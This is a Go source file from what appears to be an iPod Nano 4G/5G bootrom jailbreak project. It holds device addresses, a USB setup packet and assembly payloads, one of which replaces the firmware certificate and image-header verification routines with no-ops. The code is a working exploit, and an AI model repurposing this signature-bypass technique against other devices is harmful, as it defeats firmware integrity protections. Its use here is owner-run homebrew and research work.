-
Notifications
You must be signed in to change notification settings - Fork 10
/
exploit_n45g.go
219 lines (185 loc) · 6.58 KB
/
exploit_n45g.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
package exploit
import (
"fmt"
"github.com/freemyipod/wInd3x/pkg/uasm"
)
type epNano45G struct {
ret1Addr uint32
}
func (_ *epNano45G) DFUBufAddr() uint32 {
return 0x2202db00
}
func (_ *epNano45G) ExecAddr() uint32 {
return 0x2202de08
}
func (_ *epNano45G) USBBufAddr() uint32 {
return 0x2202e300
}
func (_ *epNano45G) SetupPacket() []byte {
return []byte{0xc0, 0xfe, 0xff, 0xea, 0x03, 0x00, 0x00, 0x00}
}
func (_ *epNano45G) NANDInit(bank uint32) ([]uasm.Statement, error) {
return nil, fmt.Errorf("unimplemented")
}
func (_ *epNano45G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {
panic("unimplemented")
}
func (_ *epNano45G) NORInit(spino uint32) ([]uasm.Statement, error) {
return nil, fmt.Errorf("unimplemented")
}
func (_ *epNano45G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {
panic("unimplemented")
}
func (e *epNano45G) HaxedDFUPayload() []uasm.Statement {
descriptorSRAM := 0x2202d800
vtableSRAM := 0x2202d880
return []uasm.Statement{
// Copy descriptor to scratch memory space.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(descriptorSRAM)},
uasm.Ldr{Dest: uasm.R1, Src: uasm.LabelRef("descriptor")},
uasm.Ldrb{Dest: uasm.R2, Src: uasm.Deref(uasm.R1, 0)},
uasm.Label("descriptor_copy_loop"),
uasm.Ldrb{Dest: uasm.R3, Src: uasm.Deref(uasm.R1, 0)},
uasm.Strb{Src: uasm.R3, Dest: uasm.Deref(uasm.R0, 0)},
uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},
uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},
uasm.Sub{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},
uasm.Cmp{A: uasm.R2, B: uasm.Immediate(0)},
uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("descriptor_copy_loop")},
//// Set descriptor in g_State->dfu_state->deviceDescriptor
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},
uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},
uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 1584)},
uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(descriptorSRAM)},
uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 24)},
// Copy state vtable to scratch.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},
uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},
uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 36)},
uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0)},
uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(vtableSRAM)},
uasm.Label("vtable_copy_loop"),
uasm.Ldr{Dest: uasm.R3, Src: uasm.Deref(uasm.R0, 0)},
uasm.Str{Src: uasm.R3, Dest: uasm.Deref(uasm.R2, 0)},
uasm.Add{Dest: uasm.R0, Src: uasm.R0, Compl: uasm.Immediate(1)},
uasm.Add{Dest: uasm.R1, Src: uasm.R1, Compl: uasm.Immediate(1)},
uasm.Add{Dest: uasm.R2, Src: uasm.R2, Compl: uasm.Immediate(1)},
uasm.Cmp{A: uasm.R1, B: uasm.Immediate(84)},
uasm.B{Cond: uasm.NE, Dest: uasm.LabelRef("vtable_copy_loop")},
// Set new VTable in g_State.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202fff8)},
uasm.Ldr{Dest: uasm.R0, Src: uasm.Deref(uasm.R0, 0)},
uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(vtableSRAM)},
uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 36)},
// Overwrite VTable verify_{certificate,image_header} to no-ops.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(vtableSRAM)},
uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(e.ret1Addr)},
uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 28)},
uasm.Str{Src: uasm.R1, Dest: uasm.Deref(uasm.R0, 20)},
}
}
type epNano4G struct {
epNano45G
}
func newEPNano4G() *epNano4G {
return &epNano4G{
epNano45G: epNano45G{
ret1Addr: 0x20000d10,
},
}
}
func (_ *epNano4G) TrampolineAddr() uint16 {
return 0x3b0
}
func (_ *epNano4G) HandlerFooter(addr uint32) []uasm.Statement {
return []uasm.Statement{
// Return 0x40 bytes of requested address.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},
uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},
uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a554)},
uasm.Blx{Dest: uasm.R2},
// Fixup LR (after trampoline blx messes it up)
uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d64)},
uasm.Bx{Dest: uasm.LR},
}
}
func (_ *epNano4G) AESCall() []uasm.Statement {
return makeCall(0x200020d4, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)
}
func (_ *epNano4G) DisableICache() []uasm.Statement {
return makeCall(0x200003f4)
}
type epNano5G struct {
epNano45G
}
func newEPNano5G() *epNano5G {
return &epNano5G{
epNano45G: epNano45G{
ret1Addr: 0x20000cbc,
},
}
}
func (_ *epNano5G) TrampolineAddr() uint16 {
return 0x37c
}
func (_ *epNano5G) HandlerFooter(addr uint32) []uasm.Statement {
return []uasm.Statement{
// Return 0x40 bytes of requested address.
uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},
uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},
uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a474)},
uasm.Blx{Dest: uasm.R2},
// Fixup LR (after trampoline blx messes it up)
uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004d70)},
uasm.Bx{Dest: uasm.LR},
}
}
func (_ *epNano5G) AESCall() []uasm.Statement {
return makeCall(0x200020ec, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)
}
func (_ *epNano5G) DisableICache() []uasm.Statement {
return makeCall(0x200003c0)
}
func (_ *epNano5G) NANDInit(bank uint32) ([]uasm.Statement, error) {
var res []uasm.Statement
// Enable clocks 5, 9
res = append(res, makeCall(0x2000169c, 5)...)
res = append(res, makeCall(0x2000169c, 9)...)
// Configure GPIO.
res = append(res, makeCall(0x20001b3c)...)
// Reset NAND bank.
res = append(res, makeCall(0x20009060, bank)...)
return res, nil
}
func (_ *epNano5G) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {
return makeCall(0x200091e8, bank, page, 0x22025200), 0x22025200 + offset
}
// This doesn't work for some reason (issuing the read crashes the device),
// but we keep this in case someone wants to attempt to fix it.
//func (_ *epNano5G) NORInit(spino uint32) ([]uasm.Statement, error) {
// var clk uint32
// switch spino {
// case 0:
// clk = 0x17
// case 1:
// clk = 0x20
// case 2:
// clk = 0x24
// default:
// return nil, fmt.Errorf("unknown spi peripheral number")
// }
// var res []uasm.Statement
// // Configure GPIO for given peripheral.
// res = append(res, makeCall(0x20001ba0, spino)...)
// // Enable clock for given peripheral.
// res = append(res, makeCall(0x2000169c, clk)...)
// // Assert CS for given peripheral.
// res = append(res, makeCall(0x20004ed0, spino)...)
// // Configure SPI peripheral (set master, configure baud, etc).
// res = append(res, makeCall(0x20008bc0, spino)...)
// return res, nil
//}
//
//func (_ *epNano5G) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {
// return makeCall(0x20008ca8, spino, 0x600, 0x22025200, offset), 0x22025200 + offset
//}